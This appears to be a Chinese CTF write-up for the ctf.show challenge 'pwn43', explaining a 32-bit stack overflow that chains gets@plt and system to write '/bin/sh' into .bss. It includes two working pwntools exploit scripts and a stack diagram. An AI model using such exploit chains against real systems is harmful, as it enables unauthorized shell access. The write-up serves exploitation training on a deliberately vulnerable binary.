pwn43
之前的栈溢出的题目中都是跳转到 call function 指令再通过 plt 跳转到函数真实地址,但是这道题的第一个函数必须用 plt 地址,那什么时候能用 call function 地址、什么时候必须要用 plt 地址呢?

checkse

ida 反编译

这里是栈溢出漏洞,有 system 函数但是没有/bin/sh
或sh
Shift + F7
打开段表,发现.bss
段可写

BSS段(Block Started by Symbol)是程序内存布局中的一个重要数据段,主要用于存储未初始化的全局变量和静态变量
这里bss
段可写,我们可以利用gets()
把/bin/sh
存进bss
段

这里 buf2 就可以用来存放/bin/sh
,buf2 = 0x0804B060
我们来构造 payload,对照栈帧看
plain
payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)
栈布局(从低地址到高地址):
+----------------+
| 缓冲区 | -> b'a'*(0x6C) [108字节的填充]
+----------------+
| 旧ebp保存值 | -> b'a'*4 [offset中的+4部分]
+----------------+
| gets_addr | -> 覆盖的返回地址 [程序从这里开始执行]
+----------------+
| system_addr | -> gets的返回地址 [gets执行完返回到这里]
+----------------+
| buf2_addr | -> gets的参数1 [写入位置]
+----------------+
| buf2_addr | -> system的参数1 [/bin/sh字符串地址]
+----------------+
记录system
和gets
的地址

gets = 0x080487A1
、system = 0x08048779
python
# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28242)
elf = ELF('./pwn')
system = 0x08048779
gets = 0x080487A1
buf2 = 0x0804B060
payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.interactive()
但我们发先这里并不能利用成功,gdb 调试找一下问题

我们来看一下call _system
的流程
plain
; ==================== 调用 system 函数的完整流程 ====================
; 1. 源代码中的调用
call _system ; 源代码中的调用,参数已在栈上准备好
; 此时栈布局:
; ESP -> [返回地址] (call指令压入)
; [参数] (command字符串地址)
; 2. call 指令的执行
; CPU 自动执行:
push eip + 5 ; 压入返回地址(下一条指令地址),ESP减少4字节
jmp _system ; 跳转到_system标签
; 3. _system thunk (PLT条目)
_system proc near
command= dword ptr 4 ; 参数在[ESP+4]的位置(因为返回地址占4字节)
jmp ds:off_804B018 ; 跳转到GOT表中存储的system地址
; 第一次调用:跳转到解析器
; 后续调用:直接跳转到libc的system
_system endp
; 4. 跳转到真正的system函数(libc中)
; 在libc中的真实system函数
第三部分可以看到约定第一个参数的位置在esp + 4

但实际上esp + 4
的位置放着 system 函数的地址,导致 get 并没有把/bin/sh
读进去
call
会把下一个地址作为返回地址压入栈上,这样导致了我们精心构造的 payload 被打乱,导致参数错误
这里的解决办法是用 gets@plt
直接跳转到 gets 函数,而不再用call _gets
,这样省去了返回地址压栈过程,确保我们的 payload 有效

找到gets_plt = 0x08048420
python
# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28207)
elf = ELF('./pwn')
system = 0x08048779
gets_plt = 0x08048420
buf2 = 0x0804B060
payload = b'a'*(0x6C+4) + p32(gets_plt) + p32(system) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.sendline(payload)
io.interactive()

拿到 flag
小结
之前我们做的题目都没有在 payload 里跳转两个函数,单个函数跳转到call function
时,压入返回地址,参数自然被挤到了esp + 4
,成功利用拿到 shell 后也不需要管返回地址是什么了
但是这道题先跳转到 gets,在跳转到 system,需要把 system 控制在栈顶作为 gets 函数的返回地址,就不能在让 call 压入返回地址了,所以这里一定要用gets@plt
,至于后面的 system,已经获取了权限就不用管他返回地址是哪里了
总而言之:一次劫持、最后一次劫持可以不用 plt 用 call
PS:养成习惯,用 plt 构造ROP链就好了